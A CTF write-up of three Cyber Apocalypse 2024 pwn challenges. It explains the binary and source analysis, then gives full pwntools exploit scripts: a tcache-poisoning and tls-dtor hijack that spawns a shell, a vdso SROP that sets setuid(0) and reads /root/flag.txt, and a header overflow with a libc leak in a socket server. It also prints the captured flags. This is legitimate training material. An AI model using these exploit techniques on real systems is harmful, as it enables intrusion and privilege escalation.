I have been casually participating in the Cyber Apocalypse CTF 2024. During this time, I managed to solve all the challenges in the pwn, crypto, blockchain, and hardware categories. In this write-up, I will share my solutions for all the challenges in the pwn category that I solved. If you are interested in reading the write-up for all the blockchain & hardware challenges, check out this post. If you are interested in reading the write-up for all the crypto challenges, check out this post.
Pwn
Gloater [insane]
Description
One thing that the overlords at KORP™ know best is the sheer sadistic value of taunting opponents. Throughout The Fray, onlookers can eagerly taunt and deride the contestants, pushing them mentally and breaking their will. By the end of the psychological torture, little of what was once human remains. You have come across a Gloater, one of the devices left around the Arena of The Fray. Gloaters allow you to send sardonic messages to the others, even taking on the shapes of their loved ones as the words cut deep into their psyche. But there’s another well-known effect of such a weapon - the user of the Gloater puts a target on his back, as contestants from all factions swear to destroy the one who uses it.
Initial Analysis
In this challenge, we were given a binary named gloater. The first step involved checking the binary’s mitigation techniques to understand the security measures in place. Keeping these mitigations in mind will be crucial as we proceed.
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Next, we began disassembling the binary to explore its key functions.
int__cdeclmain(intargc,constchar**argv,constchar**envp){intv4;// [rsp+Ch] [rbp-94h] BYREF
charv5[136];// [rsp+10h] [rbp-90h] BYREF
int(**v6)(constchar*);// [rsp+98h] [rbp-8h]
setup(argc,argv,envp);v6=&puts;libc_start=(__int64)(&puts-58438);libc_end=(__int64)(&puts+182202);printf("Enter User\nDo not make a mistake, or there will be no safeguard!\n> ");read(0,user,0x10uLL);v4=0;while(1){printf("1) Update current user\n""2) Create new taunt\n""3) Remove taunt\n""4) Send all taunts\n""5) Set Super Taunt\n""6) Exit\n""> ");__isoc99_scanf("%d",&v4);switch(v4){case1:change_user();break;case2:create_taunt();break;case3:remove_taunt();break;case4:send_taunts();case5:set_super_taunt(v5);break;default:exit(0);}}}
During the initial phase, the binary calls a setup function. Let’s delve into the setup function’s implementation to see what it entails.
Upon examining the setup function, it became apparent that the binary substitutes the standard malloc and free functions with its own hooks. These custom hooks introduce a check to determine if the pointers returned by malloc or passed to free fall within the libc address range. If a pointer is within this range, the operation is reverted, adding a layer of security.
Returning to the main function, we noticed it establishes the boundaries for libc_start and libc_end, setting up the address range for these checks. Furthermore, the binary presents 5 menus for interaction, indicating multiple functionalities or actions we can explore.
Let’s proceed by examining each menu option’s implementation to understand how we can interact with the binary and potentially identify vulnerabilities or exploit paths.
intchange_user(){intresult;// eax
charbuf[20];// [rsp+0h] [rbp-20h] BYREF
intv2;// [rsp+14h] [rbp-Ch]
inti;// [rsp+18h] [rbp-8h]
intv4;// [rsp+1Ch] [rbp-4h]
if(user_changed){puts("You have already changed the User. There is only one life.");exit(0);}puts("Setting the User is a safeguard against getting destroyed");printf("New User: ");v2=read(0,buf,0x10uLL);v4=1;for(i=0;i<=15;++i){if(buf[i]==32){v4=0;break;}}printf("Old User was %s...\n",user);if(v4){strcpy(user,"PLAYER FROM THE FACTIONLESS ");strncpy(&dest,buf,v2);}result=puts("Updated");user_changed=1;returnresult;}.bss:0000000000004100userdq?;DATAXREF:main+5F↑o.bss:0000000000004108qword_4108dq?;DATAXREF:change_user+CF↑w.bss:0000000000004110super_taunt_plaguedq?;DATAXREF:change_user+E0↑w.bss:0000000000004118dword_4118dd?;DATAXREF:change_user+E7↑w.bss:000000000000411Cdestdb?;DATAXREF:change_user+F1↑w.bss:0000000000004120publictaunts
Upon reviewing the code, it’s clear that change_user can only be invoked once, with its primary function being to replace the user with a new name. However, an overflow issue is identified within this function. Specifically, the maximum size of buf is designated as 0x10, while the dest size is limited to 0x4. Writing beyond 0x4 will lead to an overwrite of the taunts array, revealing our first bug. Moving on to the next section:
intcreate_taunt(){intresult;// eax
intv1;// eax
__int64v2;// rcx
charbuf[1028];// [rsp+0h] [rbp-410h] BYREF
intv4;// [rsp+404h] [rbp-Ch]
void*s;// [rsp+408h] [rbp-8h]
if(taunt_count>7)returnputs("Cannot taunt more. You must risk it again.");s=malloc(0x28uLL);memset(s,0,0x28uLL);printf("Taunt target: ");read(0,s,0x1FuLL);if(!strcmp((constchar*)s,user)){puts("DANGER: You entered yourself");puts("Bet you're glad you paid attention initially, eh?");returnputs("Next time, you won't be so lucky.");}else{memset(buf,0,0x400uLL);printf("Taunt: ");v4=read(0,buf,0x3FFuLL);*((_QWORD*)s+4)=malloc(v4);memset(s,0,0x10uLL);memcpy(*((void**)s+4),buf,v4);v1=taunt_count++;v2=8LL*v1;result=(int)s;*(_QWORD*)((char*)&taunts+v2)=s;}returnresult;}
Nothing dubious is observed in this function. In summary, it allows for the addition of a new taunt entry through the following steps:
Verify that taunt_count <= 7, indicating that the create_taunt function can be executed a maximum of 8 times.
Allocate a chunk s with a size of 0x28.
Allocate a new chunk and assign its address to s+0x20.
int__fastcallset_super_taunt(void*a1){intresult;// eax
intv2[2];// [rsp+18h] [rbp-8h] BYREF
if(super_taunt_set)returnputs("Super Taunt already set.");printf("Index for Super Taunt: ");__isoc99_scanf("%d",v2);if(v2[0]<0||v2[0]>=taunt_count)returnputs("Error: Invalid Index");if(!taunts[v2[0]])returnputs("Taunt was removed...");super_taunt=taunts[v2[0]];printf("Plague to accompany the super taunt: ");v2[1]=read(0,a1,0x88uLL);printf("Plague entered: %s\n",(constchar*)a1);super_taunt_plague=(__int64)a1;result=puts("Registered");super_taunt_set=1;returnresult;}
The function receives a pointer named a1, fills it with a maximum input of 0x88, and then prints our input using the %s modifier. Similar to change_user, this function is restricted to a single invocation. At first glance, a bug may not be apparent, but a leak bug exists. Revisiting the pointer passed by the main function:
v5 is positioned immediately before v6, with v6 housing the puts address. It’s noted that the super_set_taunt function permits the complete filling of v5 (excluding a null byte). Thus, if we populate v5 to its maximum size (0x88), when the function outputs our input with the %s modifier, it will reveal the value of v6 as well (which corresponds to puts). This results in a libc leak.
Additionally, it is noteworthy that according to the provided Dockerfile, the version of libc utilized is libc-2.31.so, indicating the absence of mangled pointers in the heap freelist.
Having analyzed all crucial functions, we can proceed with crafting the solution.
Solution
In summary, we’ve identified two critical vulnerabilities:
The super_set_taunt function enables us to leak a libc address.
The change_user function suffers from overflow issues, allowing for partial overwriting of the taunts array entries.
First, let’s establish our helper functions to simplify the process.
frompwnimport*exe=ELF("gloater_patched")libc=ELF("./libc-2.31.so")ld=ELF("./ld-2.31.so")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="94.237.54.48"remote_port=47636gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrr=conn()menu_delim=b'> 'deflogbase():info('libc.address = %#x'%libc.address)deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))defchange_user(new_user):menu(1)sa(b': ',new_user)defcreate(target,taunt):menu(2)sa(b': ',target)sa(b': ',taunt)defdelete(idx):menu(3)sla(b': ',sn(idx))defset_super_taunts(idx,val):menu(5)sla(b': ',sn(idx))sa(b': ',val)r.recvuntil(b': ')returnr.recvline().strip()# Before getting to the menu, we need to put initial namename=b'test'sa(b'> ',name)
Given that we can easily obtain a libc leak, our next step involves leveraging the second vulnerability (overwriting the taunts array) to achieve code execution.
Firstly, note that the program allows us to exit. There are known methods that exploit how glibc manages the exit process to execute code, suggesting we can adopt one of these methods here. I have chosen to utilize the tls-dtor method (More details on this method can be found here).
To exploit the tls-dtor, we must allocate a chunk within the tls area (given the tls area’s constant offset from the libc address, we can calculate the exact target address), and then write to the tls area.
To allocate a chunk in the tls area, one strategy involves poisoning the tcache freelist. Therefore, our focus shifts to how we can manipulate the tcache freelist.
The approach that I’ve selected for this challenge involves creating a fake chunk and aiming to free this fake chunk. To accomplish this, we exploit the change_user bug by modifying the least significant byte of the first element in the taunts array to point to our fake_chunk. Subsequently, invoking remove_taunt will free this fake_chunk.
For a clearer understanding, refer to the following code and examine the heap layout.
The code creates 3 chunks with the aim of freeing our fake_chunk, which has a size of 0x70 and is located at 0x55555555b2d0. The size is deliberately set to 0x70 as we plan to overwrite the pointer stored in the 0xe1 chunk later on.
Furthermore, to avoid any free glibc errors when freeing this chunk, the first 10 bytes of the third chunk are initialized to 0x0000000000000000 0x00000000000000d1. This setup deceives the free glibc function into believing that the subsequent chunk after our fake chunk points to a legitimate chunk, specifically the artificially created 0xd1 chunk.
Before progressing further, we’ll first leak the libc address using the set_super_taunts function. To do this, simply transmit b'a'*0x88 as our super taunt payload, and the function will output our taunt along with the puts address.
Returning to the heap layout, note that our fake chunk overlaps with the 0x31 chunk. Utilizing the change_user vulnerability, we adjust taunts[0] to point to our fake chunk.
As a result of this partial overwrite, taunts[0] now references our fake chunk located at 0x55555555b2e0. The next step involves freeing all active taunts to examine the heap layout changes.
It’s observed that our tcachebins entry for 0x70—resulting from freeing our fake_chunk—intersects with the stored tcache pointer for tcache[0xe0]’s first entry. Initiating malloc(0x68) causes the last 8 bytes written to the allocated chunk to overlap and subsequently overwrite the tcache[0xe0] free pointer.
To exploit this, we create a new taunt, carefully setting its last 8 bytes to the address of the tls_dtor_list.
A deeper look through gdb reveals that the tls_base is positioned at libc.address+0x1f3540. Further examination of the __GI__call_tls_dtors function indicates the tls_dtor_list is located at tls_base-0x58.
1
2
3
4
5
6
7
8
9
gef> disas __call_tls_dtors
Dump of assembler code for function __GI___call_tls_dtors:
0x00007ffff7e1c280 <+0>: endbr64
0x00007ffff7e1c284 <+4>: push rbp
0x00007ffff7e1c285 <+5>: push rbx
0x00007ffff7e1c286 <+6>: sub rsp,0x8
0x00007ffff7e1c28a <+10>: mov rbx,QWORD PTR [rip+0x1a4acf] # 0x7ffff7fc0d60
gef> p/d *0x7ffff7fc0d60
$6 = -88
The objective is to allocate a chunk at the tls_dtor_list address. Following the execution of the stated procedure, we review the new tcache freelist.
This action successfully redirects the tcache of 0xe0 to point towards the tls_dtor_list.
Now, we can proceed with the usual tls-dtors trick. What we need to do:
Setting PTR_MANGLE to zero for ease in crafting our fake dtor_list, located at tls_dtor_list+0x88.
Constructing a fake dtor_list at tls_dtor_list+0x8 to facilitate the placement of tls_dtor_list+0x8 in the tls_dtor_list address.
Populating the fake dtor_list by:
Assigning dtor_list->func to libc.sym.system << 17.
Designating dtor_list->obj to the address of /bin/sh, which serves as the first argument when invoking dtor_list->func().
Below is the code to prepare the above payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Write tls_dtor_listcreate(b'a'*8,b'\x00'*0xd0)# Use the first entry# Next allocation will be placed in the `tls_area`payload=flat([tls_dtor_list+0x8,# Overwrite tls_dtor_list to tls_dtor_list+8libc.sym.system<<17,# This is our fake dtor_list. Set dtor_list->func to systemnext(libc.search(b'/bin/sh\x00')),# Set dtor_list->obj to /bin/sh])# ljust(0xd0, b'\x00') eventually will overwrite# the PTR_MANGLE with zero as well, because PTR_MANGLE # is located below `tls_dtor_list+0xd0`.create(b'a'*8,payload.ljust(0xd0,b'\x00'))
Now that we have successfully overwritten the tls_dtor_list, we can simply trigger exit by putting invalid menu.
frompwnimport*exe=ELF("gloater_patched")libc=ELF("./libc-2.31.so")ld=ELF("./ld-2.31.so")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'context.terminal=['wezterm','cli','split-pane','--top','--percent','65']warnings.simplefilter("ignore")remote_url="94.237.56.46"remote_port=42849gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrr=conn()menu_delim=b'> 'deflogbase():info('libc.address = %#x'%libc.address)deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))defchange_user(new_user):menu(1)sa(b': ',new_user)defcreate(target,taunt):menu(2)sa(b': ',target)sa(b': ',taunt)defdelete(idx):menu(3)sla(b': ',sn(idx))defset_super_taunts(idx,val):menu(5)sla(b': ',sn(idx))sa(b': ',val)r.recvuntil(b': ')returnr.recvline().strip()name=b'test'sa(b'> ',name)payload=p64(0)+p64(0x71)payload=payload.ljust(0x30,b'a')create(b'a'*8,payload)payload=p64(0)+p64(0xd1)create(b'a'*8,payload.ljust(0xd0,b'a'))create(b'b'*8,b'b'*0xd0)# Leak libcout=set_super_taunts(0,b'a'*0x88)libc.address=u64(out[-6:].ljust(8,b'\x00'))-libc.sym.putslogleak('libc.address',libc.address)# Overwrite taunts[0] LSBchange_user(b'a'*4+b'\xe0')# Freedelete(2)delete(1)# Free fake_chunkdelete(0)# Overwrite tcache[0xe0] ptrtls_base=libc.address+0x1f3540tls_dtor_list=tls_base-0x58logleak('tls_base',tls_base)logleak('tls_dtor_list',tls_dtor_list)payload=flat([0x0,0x0,0x61,0x61,0x0,0x31,0x0,0x0,0x0,0x0,0x0,0xe1,tls_dtor_list])create(b'a'*8,payload)# Write tls_dtor_listcreate(b'a'*8,b'\x00'*0xd0)# Use the first entry# Next allocation will be placed in the `tls_area`payload=flat([tls_dtor_list+0x8,# Overwrite tls_dtor_list to tls_dtor_list+8libc.sym.system<<17,# This is our fake dtor_list. Set dtor_list->func to systemnext(libc.search(b'/bin/sh\x00')),# Set dtor_list->obj to /bin/sh])# ljust(0xd0, b'\x00') eventually will overwrite# the PTR_MANGLE with zero as well, because PTR_MANGLE # is located below `tls_dtor_list+0xd0`.create(b'a'*8,payload.ljust(0xd0,b'\x00'))# Exit and profit :)menu(6)r.interactive()
Executing the above code will give us a shell :)
1
2
3
4
5
6
7
8
╰─❯ python solve.py
[+] Opening connection to 94.237.56.46 on port 42849: Done
[*] libc.address = 0x7f31ee8a8000
[*] tls_base = 0x7f31eea9b540
[*] tls_dtor_list = 0x7f31eea9b4e8
[*] Switching to interactive mode
$ cat flag.txt
HTB{gL0aT_aLl_y0u_l1k3,c0mb4t_cHoOsES_tH3_viCt0rS}
As you stride into your next battle, an enveloping mist surrounds you, gradually robbing you of eyesight. Though you can move, the path ahead seems nonexistent, leaving you stationary within the confines of your existence. Can you discover an escape from this boundless stagnation?
Initial Analysis
In this challenge, we’re provided with a zip file containing a qemu setup to execute the target binary, named target, located within initramfs.cpio.gz. To extract initramfs.cpio.gz, follow these steps:
1
2
3
4
gunzip initramfs.cpio.gz
mkdir tmp-root
cd tmp-root
cpio -idv < ../initramfs.cpio
Now, let’s try to disasemble the target binary. It is a 32-bit binary.
; Attributes: noreturn
public _start
_start proc near
mov eax, 4
mov ebx, 1 ; fd
mov ecx, offset prompt ; "Where to go, challenger? your fractured"...
mov edx, 4Ah ; 'J' ; len
int 80h ; LINUX - sys_write
call _vuln
mov eax, 1
xor ebx, ebx ; status
int 80h ; LINUX - sys_exit
_start endp
_text ends
------------------------------------
_vuln proc near
addr= byte ptr -20h
mov eax, 3
xor ebx, ebx ; fd
lea ecx, [esp+addr] ; addr
mov edx, 200h ; len
int 80h ; LINUX - sys_read
xor eax, eax
retn
_vuln endp
Reviewing the assembly of target, there’s a clear buffer overflow in the _vuln function. However, the binary is small, limiting our exploitation options.
Examining the init script reveals that ASLR is disabled, and flag.txt is located in the /root folder. Additionally, the target binary’s SUID bit is set.
Now that we’ve checked the target binary and the init script, let’s try to think on how to exploit this.
Solution
To simplify the exploitation process, we first modify the init script for root access by changing setuidgid 1000 to setuidgid 0, then repack it. Here’s how my modified run.sh looks, automatically repacking the filesystem before starting qemu.
After running the binary in qemu and inspecting its memory mapping, we observe a static vdso area.
1
2
3
4
5
6
7
8
9
10
11
12
13
root@arena:/# ./target &root@arena:/# Where to go, challenger? your fractured reflection is your only guide.>psaux|greptarget73root0:00./target75root0:00greptarget[1]+Stopped(ttyinput)./targetroot@arena:/# cat /proc/73/maps08048000-08049000r--p0000000000:025/target08049000-0804a000r-xp0000100000:025/target0804a000-0804b000rw-p0000200000:025/targetf7ff8000-f7ffc000r--p0000000000:000[vvar]f7ffc000-f7ffe000r-xp0000000000:000[vdso]fffdd000-ffffe000rw-p0000000000:000[stack]
I manually dumped the vdso with the below command to identify usable gadgets.
1
dd if=/proc/73/mem bs=1skip=$((0xf7ffc000))count=8192 2>/dev/null | od -v -t x8
The above will dump the vdso bytes. I parsed the output with the below script to convert it to a valid vdso.so binary.
Now we have the vdso_dump, let’s check for good gadgets on it. One particular gadget found in the vdso_dump, 0x00000591: mov eax, 0x77; int 0x80;.
Taking a look at the syscall table, this is actually a SIGRETURN syscall, which mean we can do SROP. pwntools has a good helper that can help us easily setup the SigreturnFrame, which mean this will be enough for us to do a basic ROP of:
setuid(0)
We need to do this because /root/flag.txt is owned by root, which is kinda a privilege escalation challenge via SUID.
execve('/bin/cat', '/root/flag.txt')
This will read the flag
However, I encountered several challenges during exploitation. The first issue relates to qemu interpreting specific bytes as commands rather than binary input. To circumvent this, we escape all characters with \x16 (e.g., to send aaa, it’s encoded as \x16a\x16a\x16a), and utilize \x04 to flush input instead of using a newline.
Secondly, the sigreturn syscall consistently failed in qemu. Upon observing via gdb, it is due to the stack pointer being too close to the stack’s end. To resolve this, I used another vdso gadget, 0x00000b7c: pop ebp; cld; leave; ret;, for stack pivoting, effectively moving the stack pointer away from the end.
This approach facilitated a successful SROP execution. Below is the exploit script with detailed comments:
frompwnimport*exe=ELF('./target')context.arch='i386'context.kernel='amd64'# Gadgetsint80_call_vuln=0x8049029vdso_base=0xf7ffc000sigreturn=vdso_base+0x591pop_ebp_leave_ret=vdso_base+0x00000b7c# Connection# r = process('./run.sh')r=remote('83.136.251.145',57764)# Run targetpause()r.sendlineafter(b'$ ',b'./target')# Reduce stack so that sigreturn will workinfo(f'Reduce stack to make sigreturn successful')curr_esp=0xffffde4c# Retrieved from gdb (remember no ASLR)foriinrange(13):# Return to _start.payload=(b'\x16\x15\x90\x16\x04\x08')*8payload+=p32(pop_ebp_leave_ret)payload+=p32(curr_esp)# This will make on iteration, the program pivot to address near our payload (which will make the program return to _start)info(f'Curr iteration: {i}...')sleep(0.5)r.send(payload+b'\x04')curr_esp-=0x1c# Sigreturn to do setuid(0)info(f'SROP to do suid(0)')esp=0xffffcf50frame=SigreturnFrame()frame.eax=0x17frame.ebx=0x0frame.esp=espframe.eip=int80_call_vuln# After sigreturn, we will return back to _vulnpayload=b'a'*0x20payload+=p32(sigreturn)frame_escaped=b''forchinbytes(frame):frame_escaped+=bytes([0x16,ch])payload+=frame_escapedr.send(payload+b'\x04')# Sigreturn to do /bin/cat /root/flag.txtinfo(f'SROP to do /bin/cat /root/flag.txt')frame=SigreturnFrame()frame.eax=0xbframe.ebx=esp+0x50frame.ecx=esp-0x24frame.esp=espframe.eip=int80_call_vuln# int80; call _vulnpayload=p32(esp+0x50)+p32(esp+0x58+0x4)+p32(0)*2+b'a'*0x10# Setup for /bin/cat argspayload+=p32(sigreturn)frame_escaped=b''forchinbytes(frame):frame_escaped+=bytes([0x16,ch])payload+=frame_escapedpayload+=b'/bin/cat'+p32(0)payload+=b'/root/flag.txt\x00\x00'r.send(payload+b'\x04')r.interactive()
Executing the above script will give us the flag
Flag: HTB{Sm4sh1nG_Th3_V01d_F0r_Fun_4nd_Pr0f1t}
Oracle [hard]
Description
Traversing through the desert, you come across an Oracle. One of five in the entire arena, an oracle gives you the power to watch over the other competitors and send infinitely customizable plagues upon them. Deeming their powers to be too strong, the sadistic overlords that run the contest decided long ago that every oracle can backfire - and, if it does, you will wish a thousand times over that you had never been born. Willing to do whatever it takes, you break it open, risking eternal damnation for a chance to turn the tides in your favour.
// gcc oracle.c -o oracle -fno-stack-protector
#include<stdio.h>#include<string.h>#include<stdlib.h>#include<unistd.h>#include<sys/types.h>#include<sys/socket.h>#include<netinet/in.h>#define PORT 9001
#define MAX_START_LINE_SIZE 1024
#define MAX_PLAGUE_CONTENT_SIZE 2048
#define MAX_HEADER_DATA_SIZE 1024
#define MAX_HEADERS 8
#define MAX_HEADER_LENGTH 128
#define VIEW "VIEW"
#define PLAGUE "PLAGUE"
#define BAD_REQUEST "400 Bad Request - you can only view competitors or plague them. What else would you want to do?\n"
#define PLAGUING_YOURSELF "You tried to plague yourself. You cannot take the easy way out.\n"
#define PLAGUING_OVERLORD "You have committed the greatest of sins. Eternal damnation awaits.\n"
#define NO_COMPETITOR "No such competitor %s exists. They may have fallen before you tried to plague them. Attempted plague: "
#define CONTENT_LENGTH_NEEDED "You need to specify the length of your plague description. How else can I help you?\n"
#define RANDOMISING_TARGET "Randomising a target competitor, as you wish...\n"
structPlagueHeader{charkey[MAX_HEADER_LENGTH];charvalue[MAX_HEADER_LENGTH];};structPlagueHeaderheaders[MAX_HEADERS];intclient_socket;charaction[8];chartarget_competitor[32];charversion[16];voidhandle_request();voidhandle_view();voidhandle_plague();voidparse_headers();char*get_header();intis_competitor();intmain(){intserver_socket=socket(AF_INET,SOCK_STREAM,0);if(server_socket==-1){perror("Failed to create socket!");exit(EXIT_FAILURE);}// Set up the server address struct
structsockaddr_inserver_address;server_address.sin_family=AF_INET;server_address.sin_addr.s_addr=INADDR_ANY;server_address.sin_port=htons(PORT);// Bind the socket to the specified address and port
if(bind(server_socket,(structsockaddr*)&server_address,sizeof(server_address))==-1){perror("Socket binding failed");close(server_socket);exit(EXIT_FAILURE);}// Listen for incoming connections
if(listen(server_socket,5)==-1){perror("Socket listening failed");close(server_socket);exit(EXIT_FAILURE);}printf("Oracle listening on port %d\n",PORT);while(1){client_socket=accept(server_socket,NULL,NULL);puts("Received a spiritual connection...");if(client_socket==-1){perror("Socket accept failed");continue;}handle_request();}return0;}voidhandle_request(){// take in the start-line of the request
// contains the action, the target competitor and the oracle version
charstart_line[MAX_START_LINE_SIZE];charbyteRead;ssize_ti=0;for(ssize_ti=0;i<MAX_START_LINE_SIZE;i++){recv(client_socket,&byteRead,sizeof(byteRead),0);if(start_line[i-1]=='\r'&&byteRead=='\n'){start_line[i-1]=='\0';break;}start_line[i]=byteRead;}sscanf(start_line,"%7s %31s %15s",action,target_competitor,version);parse_headers();// handle the specific action desired
if(!strcmp(action,VIEW)){handle_view();}elseif(!strcmp(action,PLAGUE)){handle_plague();}else{perror("ERROR: Undefined action!");write(client_socket,BAD_REQUEST,strlen(BAD_REQUEST));}// clear all request-specific values for next request
memset(action,0,8);memset(target_competitor,0,32);memset(version,0,16);memset(headers,0,sizeof(headers));}voidhandle_view(){if(!strcmp(target_competitor,"me")){write(client_socket,"You have found yourself.\n",25);}elseif(!is_competitor(target_competitor)){write(client_socket,"No such competitor exists.\n",27);}else{write(client_socket,"It has been imprinted upon your mind.\n",38);}}voidhandle_plague(){if(!get_header("Content-Length")){write(client_socket,CONTENT_LENGTH_NEEDED,strlen(CONTENT_LENGTH_NEEDED));return;}// take in the data
char*plague_content=(char*)malloc(MAX_PLAGUE_CONTENT_SIZE);char*plague_target=(char*)0x0;if(get_header("Plague-Target")){plague_target=(char*)malloc(0x40);strncpy(plague_target,get_header("Plague-Target"),0x1f);}else{write(client_socket,RANDOMISING_TARGET,strlen(RANDOMISING_TARGET));}longlen=strtoul(get_header("Content-Length"),NULL,10);if(len>=MAX_PLAGUE_CONTENT_SIZE){len=MAX_PLAGUE_CONTENT_SIZE-1;}recv(client_socket,plague_content,len,0);if(!strcmp(target_competitor,"me")){write(client_socket,PLAGUING_YOURSELF,strlen(PLAGUING_YOURSELF));}elseif(!is_competitor(target_competitor)){write(client_socket,PLAGUING_OVERLORD,strlen(PLAGUING_OVERLORD));}else{dprintf(client_socket,NO_COMPETITOR,target_competitor);if(len){write(client_socket,plague_content,len);write(client_socket,"\n",1);}}free(plague_content);if(plague_target){free(plague_target);}}voidparse_headers(){// first input all of the header fields
ssize_ti=0;charbyteRead;charheader_buffer[MAX_HEADER_DATA_SIZE];// BUFFER OVERFLOW
while(1){recv(client_socket,&byteRead,sizeof(byteRead),0);// clean up the headers by removing extraneous newlines
if(!(byteRead=='\n'&&header_buffer[i-1]!='\r'))header_buffer[i]=byteRead;if(!strncmp(&header_buffer[i-3],"\r\n\r\n",4)){header_buffer[i-4]=='\0';break;}i++;}// now parse the headers
constchar*delim="\r\n";char*line=strtok(header_buffer,delim);ssize_tnum_headers=0;while(line!=NULL&&num_headers<MAX_HEADERS){char*colon=strchr(line,':');if(colon!=NULL){*colon='\0';strncpy(headers[num_headers].key,line,MAX_HEADER_LENGTH);strncpy(headers[num_headers].value,colon+2,MAX_HEADER_LENGTH);// colon+2 to remove whitespace
num_headers++;}line=strtok(NULL,delim);}}char*get_header(char*header_name){// return the value for a specific header key
for(ssize_ti=0;i<MAX_HEADERS;i++){if(!strcmp(headers[i].key,header_name)){returnheaders[i].value;}}returnNULL;}intis_competitor(char*name){// don't want the user of the Oracle to be able to plague Overlords!
if(!strncmp(name,"Overlord",8))return0;return1;}
To summarize what this code do, when we execute this program, it creates a new socket connection that we can connect to. The handle_request function is key, as it processes our inputs to the socket and determines the next steps based on what it receives.
There are two primary actions possible: VIEW and PLAGUE. Instead of explaining the entire code, I’ll focus directly on parts where issues are found, starting with the parse_headers function.
voidparse_headers(){// first input all of the header fields
ssize_ti=0;charbyteRead;charheader_buffer[MAX_HEADER_DATA_SIZE];while(1){recv(client_socket,&byteRead,sizeof(byteRead),0);// clean up the headers by removing extraneous newlines
if(!(byteRead=='\n'&&header_buffer[i-1]!='\r'))header_buffer[i]=byteRead;if(!strncmp(&header_buffer[i-3],"\r\n\r\n",4)){header_buffer[i-4]=='\0';break;}i++;}// now parse the headers
constchar*delim="\r\n";char*line=strtok(header_buffer,delim);ssize_tnum_headers=0;while(line!=NULL&&num_headers<MAX_HEADERS){char*colon=strchr(line,':');if(colon!=NULL){*colon='\0';strncpy(headers[num_headers].key,line,MAX_HEADER_LENGTH);strncpy(headers[num_headers].value,colon+2,MAX_HEADER_LENGTH);// colon+2 to remove whitespace
num_headers++;}line=strtok(NULL,delim);}}
It’s noticed that this function has a buffer overflow problem. No matter if our inputs are correct or not, as long as the input doesn’t end with \r\n\r\n, it will continue to add to the i count. This means we can input data much more than the MAX_HEADER_DATA_SIZE allows.
Yet, without any way to leak information, this buffer overflow isn’t immediately useful. Exploring further, another function caught my attention for potential exploitation. Let’s look at the handle_plague function.
voidhandle_plague(){if(!get_header("Content-Length")){write(client_socket,CONTENT_LENGTH_NEEDED,strlen(CONTENT_LENGTH_NEEDED));return;}// take in the data
char*plague_content=(char*)malloc(MAX_PLAGUE_CONTENT_SIZE);char*plague_target=(char*)0x0;if(get_header("Plague-Target")){plague_target=(char*)malloc(0x40);strncpy(plague_target,get_header("Plague-Target"),0x1f);}else{write(client_socket,RANDOMISING_TARGET,strlen(RANDOMISING_TARGET));}longlen=strtoul(get_header("Content-Length"),NULL,10);if(len>=MAX_PLAGUE_CONTENT_SIZE){len=MAX_PLAGUE_CONTENT_SIZE-1;}recv(client_socket,plague_content,len,0);if(!strcmp(target_competitor,"me")){write(client_socket,PLAGUING_YOURSELF,strlen(PLAGUING_YOURSELF));}elseif(!is_competitor(target_competitor)){write(client_socket,PLAGUING_OVERLORD,strlen(PLAGUING_OVERLORD));}else{dprintf(client_socket,NO_COMPETITOR,target_competitor);if(len){write(client_socket,plague_content,len);write(client_socket,"\n",1);}}free(plague_content);if(plague_target){free(plague_target);}}
Notice that the MAX_PLAGUE_CONTENT_SIZE is set to 2048, which means if this chunk is freed, it goes into the unsortedbin, and the chunk’s data will include a libc address. The issue here is the function doesn’t clear the chunk’s content before reusing it.
For instance, if we invoke handle_plague() twice, and on the second call, we only send 1 byte of data for the plague_content chunk, we end up only overwriting the least significant byte. The rest of the bytes will retain a libc address from the unsortedbin, making the plague_content contains a libc leak if we trigger the else condition during the target_competitor comparison.
With this two bug, we can move to the next step, which is crafting our solution.
Solution
To begin, we’ll set up our helper functions. It’s important to remember that we’re interacting with a socket created by the program, not the program directly. This means if we make multiple connections to it, the ASLR addresses remain unchanged as long as the program isn’t restarted.
# Trigger unsorted bin freemake_request(b'PLAGUE',b'bbbb',b'aaaaaaaa')headers={b'Plague-Target':b'a'*0x10,b'Content-Length':b'8'}make_headers(headers)so(b'a')pause()old_r=r# Get libc leakr=conn()make_request(b'PLAGUE',b'bbbb',b'aaaaaaaa')headers={b'Plague-Target':b'a'*0x10,b'Content-Length':b'8'}make_headers(headers)so(b'a')r.recvuntil(b'plague: ')libc.address=u64(r.recv(8))-0x1ecb61logleak('libc.address',libc.address)pause()old_r=r
With the libc leak in hand, we can now proceed to craft our ROP chain to read the flag by abusing the buffer-overflow bug in the parse_headers function. The ROP chain I’ve designed follows a basic open-read-write pattern, ultimately writing the flag to our socket descriptor. I added an extra read step to the chain to read flag.txt into a chosen address in the libc writable area.
Executing the above code, we will receive the flag.txt content from the socket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
╰─❯ python solve.py
[+] Opening connection to 94.237.63.128 on port 59852: Done
[*] Paused (press any to continue)
[+] Opening connection to 94.237.63.128 on port 59852: Done
[*] libc.address = 0x7fe620166000
[*] Paused (press any to continue)
[+] Opening connection to 94.237.63.128 on port 59852: Done
[*] Make request...
[*] Paused (press any to continue)
[*] Loading gadgets for '/home/chovid99/ctf-journey/2024/cyber-apocalypse/pwn/oracle/pwn_oracle/challenge/libc-2.31.so'
[*] flag_str = 0x7fe620353fe0
[*] Paused (press any to continue)
[*] Switching to interactive mode
HTB{wH4t_d1D_tH3_oRAcL3_s4y_tO_tH3_f1gHt3r?}
\x00\x00\x00
